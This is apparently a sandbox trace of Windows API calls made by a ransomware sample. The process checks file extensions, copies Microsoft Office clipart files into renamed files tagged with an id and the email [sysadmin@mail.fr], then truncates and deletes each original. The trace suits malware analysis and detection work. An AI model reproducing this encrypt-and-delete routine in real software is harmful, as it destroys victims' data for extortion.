	[0149.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1
	[0149.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.181] lstrlenW (lpString=".doc") returned 4
	[0149.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.181] lstrlenW (lpString=".docx") returned 5
	[0149.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.182] lstrlenW (lpString=".pdf") returned 4
	[0149.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.182] lstrlenW (lpString=".xls") returned 4
	[0149.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.182] lstrlenW (lpString=".xlsx") returned 5
	[0149.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.182] lstrlenW (lpString=".ppt") returned 4
	[0149.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.182] lstrlenW (lpString=".zip") returned 4
	[0149.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.182] lstrlenW (lpString=".rar") returned 4
	[0149.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.182] lstrlenW (lpString=".bz2") returned 4
	[0149.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.182] lstrlenW (lpString=".7z") returned 3
	[0149.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.182] lstrlenW (lpString=".dbf") returned 4
	[0149.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.183] lstrlenW (lpString=".1cd") returned 4
	[0149.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.183] lstrlenW (lpString=".jpg") returned 4
	[0149.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.183] lstrlenW (lpString=".doc") returned 4
	[0149.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.183] lstrlenW (lpString=".docx") returned 5
	[0149.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.183] lstrlenW (lpString=".pdf") returned 4
	[0149.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.183] lstrlenW (lpString=".xls") returned 4
	[0149.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.184] lstrlenW (lpString=".xlsx") returned 5
	[0149.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.184] lstrlenW (lpString=".ppt") returned 4
	[0149.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.184] lstrlenW (lpString=".zip") returned 4
	[0149.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.184] lstrlenW (lpString=".rar") returned 4
	[0149.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.184] lstrlenW (lpString=".bz2") returned 4
	[0149.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.184] lstrlenW (lpString=".7z") returned 3
	[0149.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.184] lstrlenW (lpString=".dbf") returned 4
	[0149.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.184] lstrlenW (lpString=".1cd") returned 4
	[0149.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0149.185] lstrlenW (lpString=".jpg") returned 4
	[0149.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.185] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.185] lstrlenW (lpString="FD02141_.WMF") returned 12
	[0149.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.186] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=2636) returned 1
	[0149.186] CloseHandle (hObject=0x554) returned 1
	[0149.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x220
	[0149.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.187] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.188] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.188] GetLastError () returned 0x0
	[0149.189] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xa4c, lpOverlapped=0x0) returned 1
	[0149.246] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xa50, lpOverlapped=0x0) returned 1
	[0149.247] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.247] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.247] SetEndOfFile (hFile=0x558) returned 1
	[0149.247] CloseHandle (hObject=0x558) returned 1
	[0149.248] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.248] SetEndOfFile (hFile=0x554) returned 1
	[0149.251] CloseHandle (hObject=0x554) returned 1
	[0149.251] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.251] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02141_.wmf")) returned 1
	[0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.252] lstrlenW (lpString=".doc") returned 4
	[0149.252] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.252] lstrlenW (lpString=".docx") returned 5
	[0149.252] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.252] lstrlenW (lpString=".pdf") returned 4
	[0149.252] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.252] lstrlenW (lpString=".xls") returned 4
	[0149.252] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.252] lstrlenW (lpString=".xlsx") returned 5
	[0149.252] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.252] lstrlenW (lpString=".ppt") returned 4
	[0149.252] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.252] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.252] lstrlenW (lpString=".zip") returned 4
	[0149.252] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.252] lstrlenW (lpString=".rar") returned 4
	[0149.252] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.252] lstrlenW (lpString=".bz2") returned 4
	[0149.252] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString=".7z") returned 3
	[0149.253] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.253] lstrlenW (lpString=".dbf") returned 4
	[0149.253] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.253] lstrlenW (lpString=".1cd") returned 4
	[0149.253] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.253] lstrlenW (lpString=".jpg") returned 4
	[0149.253] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.253] lstrlenW (lpString=".doc") returned 4
	[0149.253] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString=".docx") returned 5
	[0149.253] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.253] lstrlenW (lpString=".pdf") returned 4
	[0149.253] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString=".xls") returned 4
	[0149.253] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.253] lstrlenW (lpString=".xlsx") returned 5
	[0149.253] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.253] lstrlenW (lpString=".ppt") returned 4
	[0149.253] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.253] lstrlenW (lpString=".zip") returned 4
	[0149.253] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.254] lstrlenW (lpString=".rar") returned 4
	[0149.254] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.254] lstrlenW (lpString=".bz2") returned 4
	[0149.254] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.254] lstrlenW (lpString=".7z") returned 3
	[0149.254] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.254] lstrlenW (lpString=".dbf") returned 4
	[0149.254] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.254] lstrlenW (lpString=".1cd") returned 4
	[0149.254] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02141_.WMF") returned 68
	[0149.254] lstrlenW (lpString=".jpg") returned 4
	[0149.254] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.254] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.254] lstrlenW (lpString="FD02161_.WMF") returned 12
	[0149.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.255] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3128) returned 1
	[0149.255] CloseHandle (hObject=0x554) returned 1
	[0149.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x220
	[0149.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.256] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554
	[0149.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.257] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0149.258] GetLastError () returned 0x0
	[0149.258] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xc38, lpOverlapped=0x0) returned 1
	[0149.273] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xc40, lpOverlapped=0x0) returned 1
	[0149.274] ReadFile (in: hFile=0x554, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0149.274] WriteFile (in: hFile=0x558, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0149.274] SetEndOfFile (hFile=0x558) returned 1
	[0149.274] CloseHandle (hObject=0x558) returned 1
	[0149.274] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0149.274] SetEndOfFile (hFile=0x554) returned 1
	[0149.277] CloseHandle (hObject=0x554) returned 1
	[0149.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0149.278] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf")) returned 1
	[0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.279] lstrlenW (lpString=".doc") returned 4
	[0149.279] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.279] lstrlenW (lpString=".docx") returned 5
	[0149.279] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.279] lstrlenW (lpString=".pdf") returned 4
	[0149.279] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.279] lstrlenW (lpString=".xls") returned 4
	[0149.279] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.279] lstrlenW (lpString=".xlsx") returned 5
	[0149.279] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.279] lstrlenW (lpString=".ppt") returned 4
	[0149.279] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.279] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.280] lstrlenW (lpString=".zip") returned 4
	[0149.280] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.280] lstrlenW (lpString=".rar") returned 4
	[0149.280] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.280] lstrlenW (lpString=".bz2") returned 4
	[0149.280] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.280] lstrlenW (lpString=".7z") returned 3
	[0149.280] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.280] lstrlenW (lpString=".dbf") returned 4
	[0149.280] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.280] lstrlenW (lpString=".1cd") returned 4
	[0149.280] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.280] lstrlenW (lpString=".jpg") returned 4
	[0149.280] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.281] lstrlenW (lpString=".doc") returned 4
	[0149.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0149.281] lstrlenW (lpString=".docx") returned 5
	[0149.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0149.281] lstrlenW (lpString=".pdf") returned 4
	[0149.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0149.281] lstrlenW (lpString=".xls") returned 4
	[0149.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0149.281] lstrlenW (lpString=".xlsx") returned 5
	[0149.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0149.281] lstrlenW (lpString=".ppt") returned 4
	[0149.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0149.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.281] lstrlenW (lpString=".zip") returned 4
	[0149.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0149.281] lstrlenW (lpString=".rar") returned 4
	[0149.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0149.281] lstrlenW (lpString=".bz2") returned 4
	[0149.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0149.281] lstrlenW (lpString=".7z") returned 3
	[0149.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0149.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.282] lstrlenW (lpString=".dbf") returned 4
	[0149.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0149.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.282] lstrlenW (lpString=".1cd") returned 4
	[0149.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0149.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF") returned 68
	[0149.282] lstrlenW (lpString=".jpg") returned 4
	[0149.282] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0149.282] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0149.282] lstrlenW (lpString="HH00057_.WMF") returned 12
	[0149.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0149.523] GetFileSizeEx (in: hFile=0x520, lpFileSize=0x2e7ff14 | out: lpFileSize=0x2e7ff14*=3764) returned 1
	[0149.523] CloseHandle (hObject=0x520) returned 1
	[0149.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf")) returned 0x220
	[0149.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0149.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0150.024] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.024] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530
	[0150.025] GetLastError () returned 0x0
	[0150.025] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0xeb4, lpOverlapped=0x0) returned 1
	[0150.026] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec0, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec0, lpOverlapped=0x0) returned 1
	[0150.028] ReadFile (in: hFile=0x51c, lpBuffer=0x3a75020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e7fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesRead=0x2e7fecc*=0x0, lpOverlapped=0x0) returned 1
	[0150.028] WriteFile (in: hFile=0x530, lpBuffer=0x3a75020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e7fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a75020*, lpNumberOfBytesWritten=0x2e7fc94*=0xec, lpOverlapped=0x0) returned 1
	[0150.028] SetEndOfFile (hFile=0x530) returned 1
	[0150.028] CloseHandle (hObject=0x530) returned 1
	[0150.028] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7fec0 | out: lpNewFilePointer=0x0) returned 1
	[0150.028] SetEndOfFile (hFile=0x51c) returned 1
	[0150.031] CloseHandle (hObject=0x51c) returned 1
